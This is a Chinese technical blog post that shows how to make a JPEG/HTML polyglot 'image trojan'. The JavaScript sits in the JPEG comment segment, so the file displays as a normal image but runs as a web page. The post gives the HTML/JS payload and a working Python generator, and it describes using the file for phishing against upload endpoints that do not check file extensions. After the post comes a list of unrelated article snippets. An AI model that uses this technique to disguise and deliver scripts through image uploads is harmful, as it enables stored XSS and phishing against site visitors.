JPEG文件内嵌HTML代码(JavaScript型图片马)

基础概念

0xFFD8:jpeg文件开始标志;
0xFFFE:jpeg文件注释开始标志;
0x0166:注释后紧跟的16进制数值,被选中部分长度为358字节,换算为16进制为166;
0xFFE0:标志图片内容开始。
在这里插入图片描述
(图为winhex)

payload:

<html>
	<body>
	<style>body { visibility: hidden; } .n { visibility: visible; position: absolute; padding: 0 1ex 0 1ex; margin: 0; top: 0; left: 0; } h1 { margin-top: 0.4ex; margin-bottom: 0.8ex; }</style>
<script>alert(/1/)</script>
<div class=n><h1><i>This image is a page.</i></h1>Just open it in new tab.
<p><img src="#" style="border: 1px solid crimson"><!--

可以看到

标签和注释符没有进行闭合,所以在解释为html时会将乱码自动闭合,但jpeg图片正常解析:
在这里插入图片描述

制作

def embed_html_in_jpeg(jpeg_file, html_str, html_file):
    length = len(html_str) + 2
    if length > 256 * 256 - 1:
        return False
    content = b''
    with open(jpeg_file, 'rb') as reader, open(html_file, 'wb') as writer:
        content = reader.read(2)
        writer.write(content)
        header = b'\xff\xfe' + bytes.fromhex(format(length, '04X'))
        print(header)
        content = header + html_str.encode()
        writer.write(content)
        while True:
            content = reader.read(8192)
            if not content:
                break
            writer.write(content)
    return True


html = '<html><body><style>body { visibility: hidden; } .n { visibility: visible; position: absolute; padding: 0 1ex 0 1ex; margin: 0; top: 0; left: 0; } h1 { margin-top: 0.4ex; margin-bottom: 0.8ex; }</style><script>alert(/1/)</script><div class=n><h1><i>This image is a page.</i></h1>Just open it in new tab.<p><img src="#" style="border: 1px solid crimson"><!--'
embed_html_in_jpeg('1.jpeg', html, 'output.html')

效果

钓鱼页面核心,点击图片跳转到源网页:
在这里插入图片描述

诱骗用户点击后,恶意代码执行:
在这里插入图片描述

打击面及优势

对未校验后缀名的图片上传接口打击较大,优势在于比未做伪装的html恶意代码更易隐藏,因为<img>标签指向它的时候会正常显示图片。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/261293.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

docker 部署kafka

随笔记录 目录 1. 安装zookeeper 2. 安装Kafka 2.1 拉取kafka image 2.2 查询本地docker images 2.3 查看本地 容器&#xff08;docker container&#xff09; 2.3.1 查看本地已启动的 docker container 2.3.2 查看所有容器的列表&#xff0c;包括已停止的容器。 2.4 …

Mybatis-Plus的分页语句流程保姆级分析(四)

group : com.baomidou version:3.5.2.2-SNAPSHOT 为什么要分析分页流程 因为我在使用的时候发现分页不生效&#xff0c;得分析一下找到原因。 问题描述&#xff1a; 我的分页不生效。 com.baomidou.mybatisplus.extension.plugins.pagination的Page对象。 代码如下&#x…

【数据结构】线段树算法总结(区间修改)

知识概览 线段树一般有5个操作&#xff1a; pushup&#xff1a;用子节点更新当前节点信息pushdown&#xff1a;把懒标记往下传build&#xff1a;初始化一棵树modify&#xff1a;修改一个区间query&#xff1a;查询一个区间 不带懒标记&#xff08;支持单点修改&#xff09;的线…

猫罐头那种好吃又健康?五大值得买的猫罐头推荐

很多新手养猫的姐妹们都会为选罐头感到焦虑&#xff01;但是每种罐头都有优缺点&#xff0c;每只猫咪的胃口也都不同&#xff0c;只有适合自家猫的才是最好的。所以姐妹们在选罐头之前可以先做好功课&#xff0c;了解一下怎么选好的罐头。 作为一个已经离职的宠物医生&#xff…

6.6TB 全球地名路网透明标签瓦片地图

但凡要干一件稍微有意义的事&#xff0c;总会需要一定的时间积累&#xff0c;甚至还需要下不少的笨工夫&#xff0c;也正因如此&#xff0c;才会让这些最终做成的事更具有价值和意义。 比如我们曾在一个项目的助推下&#xff0c;就干了一件比较有意义的事情&#xff0c;尽管投入…

从实践角度优化数据库设计:深入解析三范式的应用

总述 第一范式(1NF):要求关系模式中的每个属性都是不可分的数据项,即属性具有原子性。第二范式(2NF):在满足1NF的基础上,要求关系模式中的所有非主属性都完全函数依赖于整个候选键(或主键)。第三范式(3NF):在满足2NF的基础上,要求关系模式中的每个非主属性都不传…

虚拟机的下载、安装

下载 vmware workstation&#xff08;收费的虚拟机&#xff09; 下载vbox 网址&#xff1a;Oracle VM VirtualBox&#xff08;免费的虚拟机&#xff09; 以下选择一个下载即可&#xff0c;建议下载vbox&#xff0c;因为是免费的。安装的时候默认下一步即可&#xff08;路径最好…

java并发编程四 Monitor 概念,api介绍与线程状态转换

Monitor 概念 Java 对象头 以 32 位虚拟机为例子&#xff1a; 普通对象 数组对象 其中 Mark Word 结构为 64 位虚拟机 Mark Word 小故事 故事角色 老王 - JVM小南 - 线程小女 - 线程房间 - 对象房间门上 - 防盗锁 - Monitor房间门上 - 小南书包 - 轻量级锁房间门上 -…

【实战】如何在Docker Image中轻松运行MySQL

定义 使用Docker运行MySQL有许多优势。它允许数据库程序和数据分离&#xff0c;增强了数据的安全性和可靠性。Docker Image的轻便性简化了MySQL的部署和迁移&#xff0c;而Docker的资源隔离功能确保了应用程序之间无冲突。结合中间件和容器化系统&#xff0c;Docker为MySQL提供…

java Filter内存马分析

目录 0x01 什么是Filter马 0x02 环境搭建 0x03 Filter内存马探索 1.tomcat Filter 的流程分析 2.攻击思路分析 0x04 Filter内存马exp编写 本文由掌控安全学院 - xilitter 投稿 知识基础&#xff1a; 刚开始内存马的这块学习与反序列化并无太大关系&#xff0c;反而与ja…

如何制作一本电子产品图册,打开线上推广呢

​随着互联网的普及和社交媒体的兴起&#xff0c;越来越多的企业开始注重线上传播。对于产品而言&#xff0c;制作一本精美的产品图册不仅可以展示产品的外观和特点&#xff0c;还可以通过线上传播吸引更多的潜在客户。 不会制作的朋友们&#xff0c;其实也不用担心&#xff0c…

使用 uiautomatorviewer 获取元素的定位信息

1. 使用 adb 连接设备&#xff08;真机或模拟器&#xff09; 连接夜神模拟器&#xff1a;adb connect 127.0.0.1:62001 连接MuMu模拟器&#xff1a;adb connect 127.0.0.1:7555 2. 打开 uiautomatorviewer 在 android-sdk --> tools 目录&#xff0c;找到 uiautomatorvie…

LeetCode Hot100 215.数组中的第k个最大元素

题目&#xff1a; 给定整数数组 nums 和整数 k&#xff0c;请返回数组中第 k 个最大的元素。 请注意&#xff0c;你需要找的是数组排序后的第 k 个最大的元素&#xff0c;而不是第 k 个不同的元素。 你必须设计并实现时间复杂度为 O(n) 的算法解决此问题。 方法一&#xff…

获取请求体中json数据并解析到实体对象

目录 相关依赖 前端代码 后端代码 测试结果 相关依赖 <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.83</version> </dependency> <dependency><groupId>comm…

上传app到app store的完整流程

上传ios的app到app store首先需要一个打包好的ipa文件。 要上传这个ipa必须要使用同一个苹果开发者账号的证书打包&#xff0c;才能上架到同一个app store上&#xff0c;假如是使用别人的证书打包的&#xff0c;只能上传到别人的app store账号。 假如你还没有创建证书&#x…

route 路由使用记录

一、路由的基本介绍 路由是计算机网络中的一个重要概念&#xff0c;它用于确定数据包从源地址到目的地址的路径。在网络中&#xff0c;路由器是负责转发数据包的设备。 下面是关于路由的基本知识和使用方法的介绍&#xff1a; 路由表&#xff1a;路由器通过路由表来确定数据包…

Excel 理解IF({1,0}...结构啥意思

背景知识&#xff1a; IF(条件,是则结果,否则结果) 逻辑真除了用True以外&#xff0c;还可以用不为0的数值&#xff0c;常用的是1&#xff1b;逻辑假除了用Fasle以外&#xff0c;还可以用数值0 理解公式 IF({1,0},B2:B8&C2:C8,D2:D8)就是构造一个二维数组&#xff0c;把…

Unity中Shader平移矩阵

文章目录 前言方式一&#xff1a;对顶点本地空间下的坐标进行相加平移1、在属性面板定义一个四维变量记录在 xyz 上平移多少。2、在常量缓冲区进行申明3、在顶点着色器中&#xff0c;在进行其他坐标转化之前&#xff0c;对模型顶点本地空间下的坐标进行转化4、我们来看看效果 方…

Linux宝塔面板本地部署Discuz论坛发布到公网访问【无需公网IP】

文章目录 前言1.安装基础环境2.一键部署Discuz3.安装cpolar工具4.配置域名访问Discuz5.固定域名公网地址6.配置Discuz论坛 前言 Crossday Discuz! Board&#xff08;以下简称 Discuz!&#xff09;是一套通用的社区论坛软件系统&#xff0c;用户可以在不需要任何编程的基础上&a…

产品需求分析师的职责内容(合集)

产品需求分析师的职责内容1 职责&#xff1a; 1、根据公司战略规划&#xff0c;负责妇产科相关平台产品的中长期规划; 2、组织需求调研、收集、分析、整理、提炼、用户的需求&#xff0c;分析形成可行性研究报告; 3、深入挖掘产品需求&#xff0c;管理用户及公司内部业务需求&a…